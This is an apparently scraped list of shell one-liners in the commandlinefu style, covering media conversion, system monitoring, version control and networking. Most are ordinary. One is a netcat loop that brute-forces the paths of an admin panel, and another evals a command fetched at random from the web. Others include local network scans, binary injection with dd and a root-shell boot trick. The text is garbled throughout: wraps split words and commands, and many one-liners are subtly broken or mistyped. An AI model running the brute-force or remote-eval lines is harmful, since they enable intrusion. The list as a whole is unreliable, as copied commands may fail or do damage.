# Get NFL/MLB Scores/Time
w3m -no-cookie http://m.espn.go.com/nfl/scoreboard?|sed 's/ Final/ : Final/g'|sed
d 's/ F\\// : F\\//g'|sed 's/, / : /g'|grep -i ':'

# Backup a file with a date-time stamp
buf () { cp $1{, $(date +%Y%m%d_%H%M%S)}; }

# tar directory and compress it with showing progress and Disk IO limits
tar pcf - home | pv -s $(du -sb home | awk '{print $1}') --rate-limit 500k | gzip
p > /mnt/c/home.tar.gz

```

```

# keep an eye on system load changes
watch -n 7 -d 'uptime | sed s/.*users,/'

# Download a numbered sequence of files
curl --silent -O "http://www.somewebsite.com/imagedir/image_[00-99].jpg"

# Summarise the size of all files matching a simple regex
find /path/to/my/files/ -type f -name "*txt*" | xargs du -k | awk 'BEGIN{x=0}{x=x+$1}END{print x}'

# Lists unambiguously names of all xml elements used in files in current director
y
grep -h -o '<[^\/?!>][^\>]*' * | sort -u | cut -c2-

# Colorful man
/usr/bin/man man | /usr/bin/col -b | /usr/bin/iconv -c | view -c 'set ft=man nom
od nolist nospell nonu

# Make a directory named with the current date
mkdir `date --iso`

# Create multiple mp4 files using avidemux
for i in *;do avidemux --video-codec Xvid4 --audio-codec mp3 --load "${i}" --sa
ve "`echo "$i" | sed -e 's/\....$//'`.done.mp4" --quit; done

# mysql DB size
mysql -u root -pPasswort -e 'select table_schema,round(sum(data_length+index_len
gth)/1024/1024,4) from information_schema.tables group by table_schema;'

# Capture data in ASCII. 1500 bytes
tcpdump -ieth0 -n tcp port 80 -A -s1500

# Play music from youtube without download
url="$my_url";file=$(youtube-dl -s -e $url);wget -q -O - `youtube-dl -b -g $url`
| ffmpeg -i - -f mp3 -vn -acodec libmp3lame - > "$file.mp3"

# Find all files under a certain directory /home that have a certain suffix at t
he end of the file name. Show the file and rename them to remove the suffix.
find /home -print -exec rename -v 's/_2009-09-04.suffix$//' {} \;

# [WinXP]Use as a shortcut in the SendTo menu to open a cmd window for a given f
older.
C:\WINDOWS\system32\cmd.exe /t:0A /k cd /d

# Update program providing java on Debian
update-java-alternatives

# Debian: Mark all dependent packages as manually installed.
sudo aptitude unmarkauto $(apt-cache depends some-deb-meta-package-name | grep D
epends | cut -d: -f2)

# show rpm packages scriptlets
rpm -qp --scripts package.rpm

# Remove annoying OS X DS_Store folders
find . -name .DS_Store -exec rm {} \;

# convert plain .avi movies to .mpeg
ffmpeg -i movie.avi -y -f vcd -vcodec mpeg1video -map 0.0:0.0 -b 1150 -s 352x240

```

```
-r 29.97 -g 12 -qmin 3 -qmax 13 -acodec mp2 -ab 224 -ar 44100 -ac 2 -map 0.1:0.
1 movie.mpg

# Recursive cat - concatenate files (filtered by extension) across multiple subd
irectories into one file
find . -type f -name *.ext -exec cat {} > file.txt \;

# Router discovery
sudo arp-scan 192.168.1.0/24 -interface eth0

# Monitor the queries being run by MySQL
mytop

# get absolute file path
readlink -f myfile.txt

# split a string (3)
OLD_IFS="$IFS"; IFS=: ARRAY=($PATH); echo ${ARRAY[2]}; IFS="$OLD_IFS"

# HTTP Get of a web page via proxy server with login credentials
curl -U username[:password] -x proxyserverIP:proxyserverPort webpageURI

# Give any files that don't already have it group read permission under the curr
ent folder (recursive)
find . -type f ! -perm /g=r -exec chmod g+r {} +

# First pass dvd rip... The set of commands was too long, so I had to separate t
hem into two.
mencoder dvd://<title> -dvd-device <device> -aid 128 -info srcform='ripped by me
ncoder' -oac mp3lame -lameopts abr:br=128 -ovc xvid -xvidencopts pass=1:chroma_o
pt:vhq=4:bvhq=1:quant_type=mpeg -vf pp=de,crop=0:0:0:0, -ofps 30000/1001 -o '/de
v/null'

# Get your external IP address with a random commandlinefu.com command
IFS=$'\n';cl=$(curl -s http://www.commandlinefu.com/commands/matching/external/
ZXh0ZXJuYWw=/sort-by-votes/plaintext|sed -n '/^# Get your external IP address/{
n;p}');c=${cl[$(( $RANDOM % ${#cl[@]} ))];eval $c;echo "Command used: $c"

# Netcat brute force on administration login panel
for i in $(cat adm);do echo -e "GET /${i} HTTP/1.0\n\r\n\r \nHost: 192.168.77.12
8\r\n\r\n \nConnection: close\r\n"|nc -w 1 192.168.77.128 80 |grep -i "200 OK" 2
>/dev/null >/dev/null;[ $? -eq "0" ] && echo "Found ${i}" && break;echo "$i";sle
ep 1;done

# calculate in commandline with bash
echo $(( 1+1 ))

# Quick calculator at the terminal
echo "$math_expr" | bc -l

# Second pass dvd rip... The set of commands was too long, so I had to separate
them into two.
mencoder dvd://<title> -dvd-device <device> -aid 128 -info srcform='ripped by me
ncoder' -oac mp3lame -lameopts abr:br=128 -ovc xvid -xvidencopts pass=2:bitrate=
-700000 -ofps 30000/1001 -o '<outputfile.avi>'

# split large video file
ffmpeg -i 100_0029.MOV -ss 00:00:00 -t 00:04:00 100_0029_1.MOV

# add static arp entry to default gateway, arp poison protection
```

```
arp -s $(route -n | awk '/^0.0.0.0/ {print $2}') \ $(arp -n | grep `route -n | a
wk '/^0.0.0.0/ {print $2}` | awk '{print $3}')

# Rip a DVD to AVI format
mencoder dvd://1 -aid 128 -o track-1.avi -oac copy -ovc lavc -lavcopts vcodec=mp
eg4

# print contents of file from line 1 until we match regex
sed -n '1,/regex/p' filename

# print line and execute it in BASH
echo <command>; !#:0-$

# move messages directly from one IMAP inbox to another
mailutil appenddelete '{src.mailsrv1.com:993/imap/norsh/notls/ssl/novalidate-cer
t/user="username"}INBOX' '{dest.mailsrv2.com:143/imap/norsh/notls/user="username
"}INBOX'

# Video thumbnail
ffmpeg -ss 5 -i video.avi -vframes 1 -s 320x240 thumb.jpg

# nohup that doesn't generate nohup.out
nohup <command> 2> /dev/null > /dev/null &

# Replace Every occurrence of a word in a file
perl -p -i -e 's/this/that/g' filename

# Report bugs in Ubuntu
ubuntu-bug

# Get each users commit amount
svn log 2>&1 | egrep '^r[0-9]+' | cut -d "|" -f2 | sort | uniq -c

# Query Wikipedia via console over DNS
nslookup -q=txt <topic>.wp.dg.cx

# Force the script to be started as root
if [ $EUID -ne 0 ]; then if [ -t 0 ]; then exec sudo $0; else exec gksu $0; fi;
fi;

# Getting the ip address of eth0
ifconfig eth0 | awk '/inet addr/ {split ($2,A,":"); print A[2]}'

# add a gpg key to aptitude package manager in a ubuntu system
wget -q http://xyz.gpg -O- | sudo apt-key add -

# send echo to socket network
echo foo | netcat 192.168.1.2 25

# mount a cdrom
mount -t iso9660 /dev/cdrom /media/cdrom

# Netcat & Tar
Server: nc -l 1234 |tar xvpz - ;Client: tar zcfp - /path/to/dir | nc localho
st 1234

# List symbols from a dynamic library (.so file)
nm --dynamic <libfile.so>
```

```

# sort lines by length
awk '{print length, $0;}' | sort -nr

# Copy text to the clipboard
cat SomeFile.txt | pbcopy

# preprocess code to be posted in comments on this site
sed 's/^/$ /' "$script" | xclip

# Display Dilbert strip of the day
display http://dilbert.com$(curl -s dilbert.com|grep -Po '"\K/dyn/str_strip(/0+){4}/.*strip.[^\.]*\.\gif')

# The Hidden PS
for p in `ps L|cut -d' ' -f1`;do echo -e "`tput clear;read -p$p -n1 p`";ps wwo p
id:6,user:8,comm:10,$p kpid -A;done

# add repeated watermark to image
composite -dissolve 30% -tile watermark.png input.png output.png

# Check if a remote port is up using dnstools.com (i.e. from behind a firewall/p
roxy)
cpo(){ [[ $# -lt 2 ]] && echo 'need IP and port' && return 2; [[ `wget -q "http:
//dnstools.com/?count=3&checkp=on&portNum=$2&target=$1&submit=Go\!" -O - |grep -
ic "Connected successfully to port $2" -gt 0 ]] && return 0 || return 1; }

# Display total Kb/Mb/Gb of a folder and each file
du -hc *

# Find Files That Exceed a Specified Size Limit
find directory -size +nnn

# get diskusage of files modified during the last n days
sudo find /var/log/ -mtime -7 -type f | xargs du -ch | tail -n1

# prints line numbers
ls | sed "/^/=" | sed "N;s/\n/./"

# grab all commandlinefu shell functions into a single file, suitable for sourci
ng.
curl -s http://www.commandlinefu.com/commands/browse/sort-by-votes/plaintext/[0-
2400:25] | grep -oP "^w+(\(\)\ *{.*}"

# Count lines of code across multiple file types, sorted by least amount of code
to greatest
find . \( -iname '*.ch]' -o -iname '*.php' -o -iname '*.pl' \) -exec wc -l {} +
| sort -n

# Get the size of all the directories in current directory
du -hd 1

# find an unused unprivileged TCP port
(netstat -atn | awk '{printf "%s\n%s\n", $4, $4}' | grep -oE '[0-9]*$'; seq 327
68 61000) | sort -n | uniq -u | head -n 1

# Display top Keywords from history
history | awk '{print $2}' | awk 'BEGIN {FS="|"}{print $1}' | sort | uniq -c | s
ort -n | tail | sort -nr

```



```
# Randomize lines (opposite of | sort)
sort -R

# password recovery on debian
init=/bin/bash; mount -o remount,rw /

# print java packages by using unix tree and sed
tree -d -I 'CVS' -f -i | sed 's/\///./g' | sed 's/\.\.//g'

# Find and delete thunderbird's msf files to make your profile work quickly again.
find ~/.thunderbird/*.default/ -name *.msf -exec rm -f {} \;

# quick and dirty formatting for HTML code
sed -r 's_([>]*?)_\1\n_g' filename.html

# Display your ${PATH}, one directory per line
echo $PATH | tr : \n

# copies 20 most recently downloaded mp3 files (such as from Miro) into a directory
find . -name \*.mp3 -printf "%C+ %h/%f\n" | sort -r | head -n20 | awk '{print "\"$2\""}' | xargs -I {} cp {} ~/tmp

# import gpg key from the web
curl -s http://defekt.nl/~jelle/pubkey.asc | gpg --import

# Count the number of pages of all PDFs in current directory and all subdirs, recursively
find . -name \*.pdf -exec pdftinfo {} \; | grep Pages | sed -e "s/Pages:\s*//g" | awk '{ sum += $1;} END { print sum; }'

# Outputs a 10-digit random number
head -c4 /dev/urandom | od -N4 -tu4 | sed -ne '1s/.*/p'

# convert a latex source file (.tex) into opendocument (.odt) format
htlatex MyFile.tex "xhtml,ooffice" "ooffice/! -cmozhtf" "-coo -cvalidate"

# Resets a terminal that has been messed up by binary input
reset

# Repeatedly send a string to stdout-- useful for going through "yes I agree" screens
yes "text" | annoying_installer_program # "text" defaults to the letter y

# remove audio track from a video file
mencoder -ovc copy -nosound ./movie.mov -o ./movie_mute.mov

# OSX command to take badly formatted xml from the clipboard, cleans it up and puts it back into the clipboard.
pbpaste | tidy -xml -wrap 0 | pbcopy

# Check a server is up. If it isn't mail me.
ping -q -c1 -w3 server.example.com >& /dev/null || echo server.example.com ping failed | mail -ne -s'Server unavailable' admin@example.com

# bash alias for sdiff: differ
alias differ='sdiff --suppress-common-lines'

# Deal with dot files safely
```

```

rm -r .[!~]*

# How to stop MAC Address via IPTables
-A INPUT -i eth1 -m mac ?mac 00:BB:77:22:33:AA -j ACCEPT

# Format date/time string for a different day
date --date=yesterday +%Y%m%d

# Drop or block attackers IP with null routes
sudo route add xxx.xxx.xxx.xxx gw 127.0.0.1 lo

# Determine the version of a specific package with RPM
rpm -q --qf "%{VERSION}\n" redhat-release

# Do one ping to a URL, I use this in a MRTG gauge graph to monitor connectivity
ping -q -c 1 www.google.com|awk -F/ 'END{print $5}'

# sort through source to find most common authors
find . -type f -name "*.java" -print0 | xargs -0 -n 1 svn blame | sed -n 's/^[^a-z]*\([a-z]*\).*$/\1/p' | sort | uniq -c | sort -n

# Testing php configuration
php -r phpinfo();

# 1+2-3+4-5+6-7 Series
seq 1000 | paste -sd+- | bc

# List apache2 virtualhosts
/usr/sbin/apache2ctl -S 2>&1 | perl -ne 'm@.*port\s+([0-9]+)\s+\w+\s+(\S+)\s+\(((.+)*@ && do { print "$2:$1\n\t$3\n"; $root = qx{grep DocumentRoot $3}; $root = ~ s/^\s+//; print "\t$root\n" };'

# dstat- this command is powerful one to monitor system activity . It has combined the power of vmstat,iostat,mpstat,df,free,sar .
dstat -afv

# Create a temporary file
tempfile=$(/bin/mktemp)

# Find directory depth
find . -printf '%d\n' | sort -n | tail -1

# 1:1 copy of a volume
find / -xdev -print | cpio -pdmuv /mnt/mydisk

# Burn CD/DVD from an iso, eject disc when finished.
cdrecord dev=0,0,0 -v -eject yourimage.iso

# Which Twitter user are you?
curl -s http://twitter.com/username | grep 'id="user_' | grep -o '[0-9]*'

# Forwards connections to your port 2000 to the port 22 of a remote host via ssh tunnel
ssh -NL 2000:remotehost:22 remotehost

# %s across multiple files with Vim
:set nomore :argdo %s/foo/bar/g | update

```

```
# geoiip information
GeoipLookUp(){ curl -A "Mozilla/5.0" -s "http://www.geody.com/geoiip.php?ip=$1" |
  grep "^IP.*$1" | html2text; }

# List contents of jar
jar -tf file.jar

# Validate date, also a date within a leap year
date -d2009-05-18 > /dev/null 2>&1 ; echo $?

# Setting reserved blocks percentage to 1%
sudo tune2fs -m 1 /dev/sda4

# Cleanly manage tempfiles in scripts
TMPROOT=/tmp; TMPDIR=$(mktemp -d $TMPROOT/somedir.XXXXXX); TMPFILE=$(mktemp $TMP
ROOT/somefile.XXXXXX); trap "rm -rf $TMPDIR $TMPFILE; exit" INT TERM EXIT; some
treatment using $TMPDIR and $TMPFILE; exit 0

# restart apache only if config works
alias restart='apache2ctl configtest && apache2ctl restart'

# Remove text from file1 which is in file2 and stores it in an other file
grep -Fvf file1 file2 > file-new

# Concatenates lines using sed
sed -e :a -e '/$/N;s/\n/ /;ta' <filename>

# show the working directories of running processes
lsof -bw -d cwd -a -c java

# convert all files in a dir of a certain type to flv
for f in *.m4a; do ffmpeg -i "$f" "${f%.m4a}.flv"; done

# Vlc ncurses mode browsing local directories.
vlc -I ncurses <MEDIA_DIR>

# Shows what processes need to be restarted after system upgrade
checkrestart

# Set laptop display brightness
echo <percentage> | sudo dd of=/proc/acpi/video/VGA/LCD/brightness

# check open ports (both ipv4 and ipv6)
lsof -Pn | grep LISTEN

# Getting started with tcpdump
tcpdump -nli eth0; tcpdump -nli eth0 src or dst w.x.y.z; tcpdump -nli eth0 port
80; tcpdump -nli eth0 proto udp

# Disconnect telnet
telnet somehost 1234, <ctrl+5> close

# Combine cssh and shell expansion to execute commands on a large cluster
cssh 192.168.125.{1..200}

# rotate a one page pdf to 90 Degrees Clockwise
pdftk pdfname.pdf cat 1E output outputname.pdf

# Set executable permissions on a file under Subversion
```

```
svn propset svn:executable ON filename

# Email HTML content
mailx bar@foo.com -s "HTML Hello" -a "Content-Type: text/html" < body.htm

# Matrix Style
while true ; do IFS="" read i; echo "$i"; sleep .01; done <<(tr -c "[:digit:]"
" " < /dev/urandom | dd cbs=$COLUMNS conv=unblock | GREP_COLOR="1;32" grep --col
or "[^ ]")

# Create a tar file with the current date in the name.
tar cfz backup-$(date --iso).tar.gz somedirs

# Display information sent by browser
nc -l 8000

# Get info on RAM Slots and Max RAM.
dmidecode 2.9 | grep "Maximum Capacity"; dmidecode -t 17 | grep Size

# Outputs a 10-digit random number
tr -c -d 0-9 < /dev/urandom | head -c 10

# determine if tcp port is open
if (nc -zw2 www.example.com 80); then echo open; fi

# find duplicate processes
ps aux | sort --key=11 | uniq -c -d --skip-fields=10 | sort -nr --key=1,1

# delete unversioned files in a checkout from svn
svn st | grep "^?" | awk "{print \$2}" | xargs rm -rf

# get delicious bookmarks on your shell (text version :-))
curl -u 'username' https://api.del.icio.us/v1/posts/all | sed 's/^.*href=//
g;s/>.*$//g;s/"//g' | awk '{print $1}' | grep 'http'

# Preview of a picture in a terminal
img test.jpg

# determine if a shared library is compiled as 32bit or 64bit
libquery=/lib32/libgcc_s.so.1; if [ `nm -D $libquery | sed -n '/[0-9A-Fa-f]\{8,\
}/ {p; q;}' | grep "[0-9A-Fa-f]\{16\}" | wc -l` == 1 ]; then echo "$libquery is
a 64 bit library"; else echo "$libquery is a 32 bit library"; fi;

# Is today the last day of the month?
[ `date --date='next day' +%B` == `date +%B` ] || echo 'end of month' && ech
o 'not end of month'

# Wait for an already launched program to stop before starting a new command.
wait $!

# Displaying system temperature
cat /proc/acpi/thermal_zone/THRM/temperature

# GIT: list unpushed commits
git log --oneline <REMOTE>..<LOCAL BRANCH>

# Replace multiple spaces with semicolon
sed "s/\s\+//g;s/^ //;s/ $//" filename.csv
```

```

# Spell check the text in clipboard (paste the corrected clipboard if you like)
xclip -o > /tmp/spell.tmp; aspell check /tmp/spell.tmp ; cat /tmp/spell.tmp | xc
lip

# Calculate N!
echo $(( $(echo 1 "*" "{2..10}") ))

# Mount important virtual system directories under chroot'ed directory
for i in sys dev proc; do sudo mount --bind /$i /mnt/xxx/$i; done

# Both view and pipe the file without saving to disk
cat /path/to/some/file.txt | tee /dev/pts/0 | wc -l

# delete multiple files from git index that have already been deleted from disk
git status | grep deleted | awk '{print $3}' | xargs git rm

# Recover cvs ": no such repository" error
find ./ * -name 'CVS' | awk '{print "dos2unix " $1 "/" *}' | awk '{system($0)}'

# Deleting Files from svn which are missing
svn status | grep '!' | sed 's/!/ /' | xargs svn del --force

# Get current Xorg resolution via xrandr
$ xrandr -q|perl -F'\s|,' -lane "/^Sc/&&print join ',@F[8..10]"

# Convert numbers to SI notation
$ awk '{ split(sprintf("%1.3e", $1), b, "e"); p = substr("yzafpnum_kMGTPEZY", (b
[2]/3)+9, 1); o = sprintf("%f", b[1] * (10 ^ (b[2]%3))); gsub(/\./, p, o); print
substr( gensub(/_[:,digit:]]*/, "", "g", o), 1, 4); }' < test.dat

# Fetch the Gateway Ip Address
ip route list match 0.0.0.0/0 | cut -d " " -f 3

# 5 Which Aliases
alias whichall='{ command alias; command declare -f; } | command which --read-fu
nctions --read-alias -a'

# Find out current working directory of a process
echo COMMAND | xargs -ixxx ps -C xxx -o pid= | xargs -ixxx ls -l /proc/xxx/cwd

# Binary injection
echo -n $HEXBYTES | xxd -r -p | dd of=$FILE seek=$((0x$OFFSET)) bs=1 conv=notrun
c

# Your name backwards
espeak "$USER" --stdout | sox - -t mp3 - reverse | mpg123 -

# Change every instance of OLD to NEW in file FILE
sed -i 's/OLD/NEW/g' FILE

# positions the mysql slave at a specific master position
slave start; SELECT MASTER_POS_WAIT('master.000088','8145654'); slave stop;

# SMS reminder
echo 'mail -s "Call your wife" 13125551234@tmomail.net' |at now+15min

# Create passwords and store safely with gpg
tr -dc "a-zA-Z0-9-_\$?" < /dev/urandom | head -c 10 | gpg -e -r medha@nerdish.d
e > password.gpg

```

```

# Search through all installed packages names (on RPM systems)
rpm -qa \*code\*

# Archive all SVN repositories in platform independent form
find repMainPath -maxdepth 1 -mindepth 1 -type d | while read dir; do echo proces-
sing $dir; sudo svnadmin dump --deltas $dir >dumpPath/`basename $dir`; done

# Diff files over SSH
Diff files over SSH: ssh [login]@[host] "cat [remote file]" | diff - "[local fil-
e]"

# Tail a log file with long lines truncated
tail -f logfile.log | cut -b 1-80

# Log the current memory statistics frequently to syslog
while true; do { $(which logger) -p local4.notice `free -m | grep Mem`; sleep 60
; } done &

# Convert multiple flac files to mp3
for file in *.flac; do $(flac -cd "$file" | lame -h - "${file%.flac}.mp3"); done

# extract content of a Debian package
ar -x package.deb

# Output system statistics every 5 seconds with timestamp
while [ 1 ]; do echo -n "`date +%F_%T`" ; vmstat 1 2 | tail -1 ; sleep 4; done

# Archive all SVN repositories in platform independent form
budir=/tmp/bu.$$;for name in repMainPath/*/format;do dir=${name%/format};bufile=d-
umpPath/${dir##*/};svnadmin hotcopy --clean-logs $dir $budir;svnadmin dump --del-
ta $budir>$bufile;rm -rf $budir;done

# Functions to display, save and restore $IFS
ifs () { echo -n "${IFS}"|hexdump -e '"'" 10/1 "'\''_c'\''\t" "\n" -e '"'" 10/1
"0x%02x\t" "\n\n"'|sed "s/'\''\|t0x[^0-9]//g; $,/^\$/d"

# find co-ordinates of a location
findlocation() { place=`echo $1 | sed 's/ /%20/g'` ; curl -s "http://maps.google
.com/maps/geo?output=json&oe=utf-8&q=$place" | grep -e "address" -e "coordinates
" | sed -e 's/^\ *//' -e 's/"//g' -e 's/address/Full Address/';}

# Remove all HTML tags from a file
awk '{gsub("<[^>]*>", "")}' file

# Watch the National Debt clock
watch -n 10 "wget -q http://www.brillig.com/debt_clock -O - | grep debtiv.gif |
sed -e 's/.*ALT=\\\"//' -e 's/\\\".*//' -e 's/ //g'"

# Get lines count of a list of files
find . -name "*.sql" -print0 | wc -l --files0-from=-

# Check whether laptop is running on battery or cable
cat /proc/acpi/ac_adapter/AC0/state

# List just the executable files (or directories) in current directory
ls -F | grep '*$'

# bulk rename files with sed, one-liner
ls * | sed -e 'p;s/foo/bar/' | xargs -n2 mv

```

```

# Translate your terminal into Swedish Chef
perl -e '$b="bork"; while(<STDIN>){$l=`$_ 2>&l`; $l=~s/[A-Za-z]+/$b/g; print "$l
$b\@$b:\$ ";}'

# Display a Lissajous curve in text
ruby -rcurses -e"include Curses;i=0;loop{setpos 12*(Math.sin(i)+1),40*(Math.cos(
i*0.2)+1);addstr'.';i+=0.01;refresh}"

# Export a directory to all clients via NFSv4, read/write.
exportfs -o fsid=0,rw :/home/jason

# convert filenames in current directory to lowercase
find my_root_dir -depth -exec rename 's/(.*)\./([\^/]*)/$1\./\L$2/' {} \;

# slow down CPU and IO for process and its offsprings.
slow2() { ionice -c3 renice -n 20 $(pstree `pidof $1` -p -a -u -A|gawk 'BEGIN{FS
=","}{print $2}'|cut -f1 -d " "); }

# Wait the end of prog1 and launch prog2
pkill -0 prog1; while [ $? -eq 0 ]; do sleep 10; pkill -0 prog1; done; prog2

# put current directory in LAN quickly
python -m SimpleHTTPServer

# find system's indianness
python -c "import sys;print (sys.byteorder) + ' endian'"

# Add "prefix" on a buch of files
for a in *; do mv $a prefix${a}; done

# A snooze button for xmms2 alarm clock
xmms2 pause && echo "xmms2 play" | at now +5min

# Encode/Decode text to/from Base64 on a Mac w/out Mac Ports
openssl base64 -in base64.decoded.txt -out base64.encoded.txt

# Delete all but the latest 5 files
ls -t | tail +6 | xargs rm

# Remove all unused kernels with apt-get
dpkg -l 'linux-*' | sed '/^ii/!d;/'"$$(uname -r | sed "s/(.*)-([\^0-9]\+\/\1/"
)"'/d;s/^[^ ]* [^ ]* \([\^ ]*\).*\/\1;/[0-9]/!d' | xargs sudo apt-get -y purge

# Create a DOS floppy image
dd if=/dev/zero bs=1024 count=1440 > floppy.img && mkdosfs floppy.img

# Display condensed log of changes to current git repository
git log --pretty=oneline

# download all the presentations from UTOSC2010
b="http://2010.utosc.com"; for p in $( curl -s $b/presentation/schedule/ | grep
/presentation/[0-9]*/ | cut -d"\ " -f2 ); do f=$(curl -s $b$p | grep "/static/sl
ides/" | cut -d"\ " -f4); if [ -n "$f" ]; then echo $b$f; curl -O $b$f; fi done

# send a file or directory via ssh compressing with lzma for low traffic
tar -cf - ./file | lzma -c | ssh user@sshserver $(cd /tmp; tar --lzma -xf -)

# user 'tr' to convert mixed case in a file to lower case

```

```

tr "[:upper:]" "[:lower:]" < file

# Sort movies by length, longest first
find -name '*.avi' | while read i ; do echo $(mplayer -identify -frames 0 -vo nu
ll -nosound "$i" 2>&1 | grep ID_LENGTH | cut -d= -f2) " "$i" ;done | sort -k1 -r
-n | sed 's/^\([^\\ ]*\)\ \ (.*)$/\2:\1/g'

# Find C/C++ source files
find . -name '*.c[h]pp' -o -name '*.ch' -type f

# Suppress output of loud commands you don't want to hear from
quietly() { "$@" > /dev/null 2>&1; }

# display a one-liner of current nagios exit statuses. great with netcat/irccat
grep current_state= /var/log/nagios/status.dat|sort|uniq -c|sed -e "s/[\t ]*\([0
-9]*\) .*current_state=\([0-9]*\)\/\2:\1/"|tr "\n" " "

# Colored cal output
alias cal='cal | grep --color=auto -E "( |^)\$(date +%e)|$"'

# modify a file in place with perl
perl -pi -e 's/THIS/THAT/g' fileglob*

# Shorten any Url using bit.ly API, using your API Key which enables you to Trac
k Clicks
curl "http://api.bit.ly/shorten?version=2.0.1&longUrl=<LONG_URL_YOU_WANT_SHORTEN
ED>&login=<YOUR_BITLY_USER_NAME>&apiKey=<YOUR_API_KEY>"

# Stop long commands wrapping around and over-writing itself in the Bash shell
shopt -s checkwinsize

# history manipulation
!-2 && !-1

# Deploy git server repo
apt-get -y install git-core gitosis; adduser --home /home/git --gecos "git user"
git; su git -c "ssh-keygen -t rsa -f /home/git/.ssh/id_rsa; gitosis-init < ~/.s
sh/id_rsa"

# Record MP3 audio via ALSA using ffmpeg
ffmpeg -f alsa -ac 2 -i hw:1,0 -acodec libmp3lame -ab 96k output.mp3

# copy ACL of one file to another using getfacl and setfacl
getfacl <file-with-acl> | setfacl -f - <file-with-no-acl>

# A function to find the newest file in a directory
find /path/to/dir -type f -printf "%T@|%p\n" 2>/dev/null | sort -n | tail -n 1|
awk -F\| '{print $2}'

# Serve the current directory at http://localhost:8000/
python -m SimpleHTTPServer

# Check whether laptop is running on battery or cable
acpi -b

# Get a list of ssh servers on the local subnet
nmap -p 22 --open -sV 192.168.2.0/24

# dump database from postgresql to a file
pg_dump -Ft -b -Uusername -hdb.host.com db_name > db.tar

```



```

# Instant mirror from your laptop + webcam
cvlc v4l2:// :vout-filter=transform :transform-type=vflip :v4l2-width=320 :v4l2
-height=240 -f &

# Calculate 1**2 + 2**2 + 3**2 + ...
seq -f"%g^2" -s "+" 10 | bc

# Combine all .mpeg files in current directory into one big one.
cat *.mpg > all.mpg

# show the real times iso of epochs for a given column
perl -F' ' -MDate::Format -pale 'substr($_, index($_, $F[1]), length($F[1]), tim
e2str("%C", $F[1]))' file.log

# Decode a MIME message
munpack file.txt

# Recursive grep of all c++ source under the current directory
find . -name '*.?pp' | xargs grep -H "string"

# Generate trigonometric/log data easily
echo "e("{1..8}");" | bc -l

# "I Feel Lucky" for Google Images
echo -n "search> ";read QUERY && wget -O - `wget -O - -U "Mozilla/5.0" "http://i
mages.google.com/images?q=${QUERY}" 2>/dev/null |sed -e 's/","http/\n","http/g'
|awk -F \" '{print $3}' |grep -i http: |head -1` > "$QUERY"

# Find
xwininfo

# Speed up the keyboard repeat rate in X server
xset r rate 250 120

# Get Unique Hostnames from Apache Config Files
cat /etc/apache2/sites-enabled/* | egrep 'ServerAlias|ServerName' | tr -s ' ' |
sed 's/^\s//' | cut -d ' ' -f 2 | sed 's/www.//' | sort | uniq

# Rename all files which contain the sub-string 'foo', replacing it with 'bar'
rename 's/foo/bar/g' ./*

# compare two Microsoft Word documents
meld <(antiword microsoft_word_a.doc) <(antiword microsoft_word_b.doc)

# Pick a random line from a file
sort -R file.txt | head -1

# show todays svn log
svn log --revision `{date +%Y-%m-%d`}:HEAD

# Pronounce an English word using Merriam-Webster.com
cmd=$(wget -qO- "http://www.m-w.com/dictionary/$(echo "$@"|tr '[A-Z]' '[a-z]')"
| sed -rn "s#return au\('[^']+?)', '([^\'])[^']*'\);.*#\nwget -qO- http://cougar
.eb.com/soundc11/\2/\1 | aplay -q#; s/[\^\\n]*\n//p"); [ "$cmd" ] && eval "$cmd" |
| exit 1

# Recover resolution when a fullscreen program crashes and you're stuck with a t
iny X resolution

```

```

xrandr -s 0

# List all the files that have been deleted while they were still open.
lsdf | egrep "^COMMAND|deleted"

# Run skype using your GTK theme
skype --disable-cleanlooks -style GTK

# Determine space taken by files of certain type
find . -name <pattern> -ls | awk 'BEGIN {i=0}; {i=i+$7}; END {print i}'

# Double your disk read performance in a single command
blockdev --setra 1024 /dev/sdb

# force unsupported i386 commands to work on amd64
setarch i386 [command [args]]

# Find files recursively that were updated in the last hour ignoring SVN files and folders.
find . -mmin -60 -not -path "*svn*" -print|more

# Comma insertions
perl -pe '$_=reverse;s/\d{3}(?=\d)(?!.*?\.)/$&,/g;$_=reverse'

# Create subversion undo point
function svnundopoint() { if [ -d .undo ]; then r=`svn info | grep Revision | cut -f 2 -d ' '` && t=`date +%F_%T` && f=${t}rev${r} && svn diff>.undo/$f && svn stat>.undo/stat_$f; else echo Missing .undo directory; fi }

# Convert ascii string to hex
echo -n "text" | od -A n -t x1 |sed 's/ /\x/g'

# Remove comments and empty lines from a conf file
grep ^#[^#] /etc/file.conf

# Binary search/replace
xxd < orig | sed 's/A/B/' | sed 's/HEXA/HEXB/' | xxd -r > new

# Google Translate
cmd=$( wget -qO- "http://ajax.googleapis.com/ajax/services/language/translate?v=1.0&q=$1&langpair=$2|${3:-en}" | sed 's/.*"translatedText": "\([^"]*\)".*/\1\n/' );); echo "$cmd"

# Convert DOS newlines (CR/LF) to Unix format
sed 's/^M$//' input.txt > output.txt

# Show (only) list of files changed by commit
git show --relative --pretty=format:'' --name-only HASH

# format txt as table
cat /etc/passwd | column -nts:

# listen to ram
cat /dev/mem > /dev/audio

# Remove all unused kernels with apt-get
aptitude remove ?and(~i~nlinux-(im|he) ?not(~n`uname -r`))

# Get a list of ssh servers on the local subnet

```

```

nmap -p 22 10.3.1.1/16 | grep -B 4 "open"

# Transform a portrait pdf in a landscape one with 2 pages per page
pdftun --nup 2x1 --frame true --landscape --outfile output.pdf input.pdf

# Generate a random password 30 characters long
pwgen 30 1

# find string into one pdf file
find / -iname '*.pdf' -print -exec pdftotext '{}' - \; | grep --color -i "unix"

# get a process list by listen port
netstat -ntlp | grep -w 80 | awk '{print $7}' | cut -d/ -f1

# (Git) Revert files with changed mode, not content
git diff --numstat | awk '{if ($1 == "0" && $2 == "0") print $3}' | xargs git c
heckout HEAD

# Get your public ip
curl -s http://sputnick-area.net/ip

# OpenDns IP update via curl
curl -i -m 60 -k -u user:password 'https://updates.opendns.com/account/ddns.php?'

# Extracting frames from a video as jpeg files
mplayer -ao null -sid 999 -ss 00:15:45 -endpos 10 filename.avi -vo jpeg:outdir=
ut_frames

# remove execute bit only from files. recursively
find . -type f -exec chmod -x {} \;

# Print trending topics on Twitter
wget http://search.twitter.com/trends.json -O - --quiet | ruby -rubygems -e 'req
uire "json";require "yaml"; puts YAML.dump(JSON.parse($stdin.gets))'

# Change to $HOME - zsh, bash4
~

# Symlink all files from a base directory to a target directory
for f in $(ls -d /base/*); do ln -s $f /target; done && ls -al /target

# rsync + find
rsync -avz -e ssh --files-from=<(find -mtime +30 -mtime -60) source dest

# Change files case, without modify directories, recursively
